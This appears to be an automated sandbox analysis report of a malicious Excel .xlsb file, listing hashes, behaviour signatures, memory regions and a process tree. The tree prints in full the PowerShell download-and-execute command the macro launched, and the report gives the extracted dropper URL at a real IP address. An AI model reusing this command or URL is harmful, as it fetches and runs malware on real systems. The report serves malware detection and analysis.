Analysis

  • max time kernel
    136s
  • max time network
    159s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-12-2023 11:24

General

  • Target

    34339f5f8f3b303aad00272edfa2827f.xlsb

  • Size

    69KB

  • MD5

    34339f5f8f3b303aad00272edfa2827f

  • SHA1

    e1273963b7b1b7613f77e0ce353c108ae7557968

  • SHA256

    f148e9a2089039a66fa624e1ffff5ddc5ac5190ee9fdef35a0e973725b60fbc9

  • SHA512

    fa74fab1b5762d712e61c465accd756b76d1a7c48a27f4b56e2f4298511f1ef8eb81d859763344fd7a14c57df5faa83db4c2bdb7f50c3c44e50582827fb17a4d

  • SSDEEP

    1536:7zTxsMK1oaZhV8nmSb4wjE7zF0Rhdv1hQzMrTsYm+kD:7HxsMGTkb4GE0DrTsSo

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://54.202.26.55/oo

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\34339f5f8f3b303aad00272edfa2827f.xlsb"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1852
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c powershell -ep b IEX (New-Object Net.WebClient).DownloadString('http://54.202.26.55/oo')
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2984
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ep b IEX (New-Object Net.WebClient).DownloadString('http://54.202.26.55/oo')
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1532

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ows4io4e.fcy.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1532-23-0x0000022BC9360000-0x0000022BC9382000-memory.dmp

    Filesize

    136KB

  • memory/1532-43-0x00007FFE73390000-0x00007FFE73E51000-memory.dmp

    Filesize

    10.8MB

  • memory/1532-40-0x00007FFE73390000-0x00007FFE73E51000-memory.dmp

    Filesize

    10.8MB

  • memory/1532-33-0x00007FFE73390000-0x00007FFE73E51000-memory.dmp

    Filesize

    10.8MB

  • memory/1532-36-0x0000022BE1AC0000-0x0000022BE1AD0000-memory.dmp

    Filesize

    64KB

  • memory/1532-35-0x0000022BE1AC0000-0x0000022BE1AD0000-memory.dmp

    Filesize

    64KB

  • memory/1532-34-0x0000022BE1AC0000-0x0000022BE1AD0000-memory.dmp

    Filesize

    64KB

  • memory/1852-11-0x00007FFE59ED0000-0x00007FFE59EE0000-memory.dmp

    Filesize

    64KB

  • memory/1852-2-0x00007FFE5C7D0000-0x00007FFE5C7E0000-memory.dmp

    Filesize

    64KB

  • memory/1852-0-0x00007FFE5C7D0000-0x00007FFE5C7E0000-memory.dmp

    Filesize

    64KB

  • memory/1852-9-0x00007FFE9C750000-0x00007FFE9C945000-memory.dmp

    Filesize

    2.0MB

  • memory/1852-13-0x00007FFE9C750000-0x00007FFE9C945000-memory.dmp

    Filesize

    2.0MB

  • memory/1852-1-0x00007FFE5C7D0000-0x00007FFE5C7E0000-memory.dmp

    Filesize

    64KB

  • memory/1852-14-0x00007FFE9C750000-0x00007FFE9C945000-memory.dmp

    Filesize

    2.0MB

  • memory/1852-16-0x00007FFE9C750000-0x00007FFE9C945000-memory.dmp

    Filesize

    2.0MB

  • memory/1852-17-0x00007FFE9C750000-0x00007FFE9C945000-memory.dmp

    Filesize

    2.0MB

  • memory/1852-15-0x00007FFE9C750000-0x00007FFE9C945000-memory.dmp

    Filesize

    2.0MB

  • memory/1852-19-0x00007FFE9C750000-0x00007FFE9C945000-memory.dmp

    Filesize

    2.0MB

  • memory/1852-20-0x00007FFE9C750000-0x00007FFE9C945000-memory.dmp

    Filesize

    2.0MB

  • memory/1852-18-0x00007FFE59ED0000-0x00007FFE59EE0000-memory.dmp

    Filesize

    64KB

  • memory/1852-21-0x00007FFE9C750000-0x00007FFE9C945000-memory.dmp

    Filesize

    2.0MB

  • memory/1852-22-0x00007FFE9C750000-0x00007FFE9C945000-memory.dmp

    Filesize

    2.0MB

  • memory/1852-10-0x00007FFE9C750000-0x00007FFE9C945000-memory.dmp

    Filesize

    2.0MB

  • memory/1852-8-0x00007FFE9C750000-0x00007FFE9C945000-memory.dmp

    Filesize

    2.0MB

  • memory/1852-12-0x00007FFE9C750000-0x00007FFE9C945000-memory.dmp

    Filesize

    2.0MB

  • memory/1852-4-0x00007FFE9C750000-0x00007FFE9C945000-memory.dmp

    Filesize

    2.0MB

  • memory/1852-7-0x00007FFE9C750000-0x00007FFE9C945000-memory.dmp

    Filesize

    2.0MB

  • memory/1852-5-0x00007FFE5C7D0000-0x00007FFE5C7E0000-memory.dmp

    Filesize

    64KB

  • memory/1852-39-0x00007FFE9C750000-0x00007FFE9C945000-memory.dmp

    Filesize

    2.0MB

  • memory/1852-6-0x00007FFE9C750000-0x00007FFE9C945000-memory.dmp

    Filesize

    2.0MB

  • memory/1852-3-0x00007FFE5C7D0000-0x00007FFE5C7E0000-memory.dmp

    Filesize

    64KB

  • memory/1852-68-0x00007FFE5C7D0000-0x00007FFE5C7E0000-memory.dmp

    Filesize

    64KB

  • memory/1852-69-0x00007FFE5C7D0000-0x00007FFE5C7E0000-memory.dmp

    Filesize

    64KB

  • memory/1852-70-0x00007FFE5C7D0000-0x00007FFE5C7E0000-memory.dmp

    Filesize

    64KB

  • memory/1852-71-0x00007FFE9C750000-0x00007FFE9C945000-memory.dmp

    Filesize

    2.0MB

  • memory/1852-73-0x00007FFE9C750000-0x00007FFE9C945000-memory.dmp

    Filesize

    2.0MB

  • memory/1852-72-0x00007FFE5C7D0000-0x00007FFE5C7E0000-memory.dmp

    Filesize

    64KB

  • memory/1852-74-0x00007FFE9C750000-0x00007FFE9C945000-memory.dmp

    Filesize

    2.0MB

  • memory/1852-75-0x00007FFE9C750000-0x00007FFE9C945000-memory.dmp

    Filesize

    2.0MB

  • memory/1852-76-0x00007FFE9C750000-0x00007FFE9C945000-memory.dmp

    Filesize

    2.0MB